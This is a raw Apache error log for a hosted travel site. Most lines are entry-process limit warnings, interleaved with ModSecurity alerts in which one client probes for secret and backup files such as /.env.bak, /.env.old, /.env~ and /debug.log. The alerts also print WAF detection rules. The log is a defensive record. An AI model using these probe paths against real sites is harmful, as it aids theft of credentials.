[Fri Jul 17 08:55:13.425295 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.432016 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.444669 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.446943 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.451652 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.452443 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.457790 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.459744 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.463358 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.471366 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.476340 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.478482 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.479176 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.481075 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.482738 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.482789 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.487115 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.492336 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.496129 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.bak"] [unique_id "almgmVh1WDijTxd1xw5MRgAAAAc"]
[Fri Jul 17 08:55:13.496387 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.bak"] [unique_id "almgmVh1WDijTxd1xw5MRgAAAAc"]
[Fri Jul 17 08:55:13.496704 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.bak"] [unique_id "almgmVh1WDijTxd1xw5MRgAAAAc"]
[Fri Jul 17 08:55:13.496857 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.497014 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmVh1WDijTxd1xw5MRgAAAAc"]
[Fri Jul 17 08:55:13.497900 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.old"] [unique_id "almgmYl9vhFBGA6D8l954QAAAAw"]
[Fri Jul 17 08:55:13.498231 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.old"] [unique_id "almgmYl9vhFBGA6D8l954QAAAAw"]
[Fri Jul 17 08:55:13.498540 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.old"] [unique_id "almgmYl9vhFBGA6D8l954QAAAAw"]
[Fri Jul 17 08:55:13.498713 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.498835 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmYl9vhFBGA6D8l954QAAAAw"]
[Fri Jul 17 08:55:13.499273 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.save"] [unique_id "almgmUgVnBK6wAv37w6sMwAAABQ"]
[Fri Jul 17 08:55:13.499578 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.save"] [unique_id "almgmUgVnBK6wAv37w6sMwAAABQ"]
[Fri Jul 17 08:55:13.499701 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.499841 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmUgVnBK6wAv37w6sMwAAABQ"]
[Fri Jul 17 08:55:13.502557 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.502885 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.503022 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmQ5GPQ6hs4VrfMpBWAAAAAY"]
[Fri Jul 17 08:55:13.503050 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmQ5GPQ6hs4VrfMpBWAAAAAY"]
[Fri Jul 17 08:55:13.503331 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/debug.log"] [unique_id "almgmYZvbo7N5o5zeYC-RwAAABw"]
[Fri Jul 17 08:55:13.503608 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env~"] [unique_id "almgmXRlmrtCoY_COpclxgAAAAg"]
[Fri Jul 17 08:55:13.503862 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/debug.log"] [unique_id "almgmYZvbo7N5o5zeYC-RwAAABw"]
[Fri Jul 17 08:55:13.503877 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env~"] [unique_id "almgmXRlmrtCoY_COpclxgAAAAg"]
[Fri Jul 17 08:55:13.503976 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.504116 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmYZvbo7N5o5zeYC-RwAAABw"]
[Fri Jul 17 08:55:13.504186 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env~"] [unique_id "almgmXRlmrtCoY_COpclxgAAAAg"]
[Fri Jul 17 08:55:13.504297 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.504419 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmXRlmrtCoY_COpclxgAAAAg"]
[Fri Jul 17 08:55:13.507593 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.1"] [unique_id "almgmbEWOaI5pmYo9fnOzwAAAAA"]
[Fri Jul 17 08:55:13.507899 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.1"] [unique_id "almgmbEWOaI5pmYo9fnOzwAAAAA"]
